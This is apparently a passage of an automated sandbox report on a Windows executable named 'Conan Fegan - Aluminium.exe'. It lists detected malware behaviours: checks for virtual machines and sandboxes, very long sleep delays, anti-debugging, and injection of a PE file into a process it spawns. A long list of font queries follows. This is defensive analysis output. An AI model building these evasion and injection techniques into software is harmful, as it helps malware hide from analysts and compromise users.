Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Yara detected AntiVM_3

Show sources

Source: Yara match	File source: 00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Conan Fegan - Aluminium.exe PID: 4748, type: MEMORY
Source: Yara match	File source: 0.2.Conan Fegan - Aluminium.exe.2d63264.1.raw.unpack, type: UNPACKEDPE

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: Conan Fegan - Aluminium.exe, 00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME

Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe TID: 3716	Thread sleep time: -103082s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe TID: 684	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe TID: 4600	Thread sleep time: -960000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Code function: 5_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

5_2_00403D74

Source: Conan Fegan - Aluminium.exe, 00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp	Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp	Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Anti Debugging:

Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Code function: 5_2_0040317B mov eax, dword ptr fs:[00000030h]

5_2_0040317B

Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Code function: 5_2_00402B7C GetProcessHeap,RtlAllocateHeap,

5_2_00402B7C

Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Memory written: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Process created: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Jump to behavior

Source: Conan Fegan - Aluminium.exe, 00000005.00000002.901234801.0000000001810000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: Conan Fegan - Aluminium.exe, 00000005.00000002.901234801.0000000001810000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: Conan Fegan - Aluminium.exe, 00000005.00000002.901234801.0000000001810000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: Conan Fegan - Aluminium.exe, 00000005.00000002.901234801.0000000001810000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
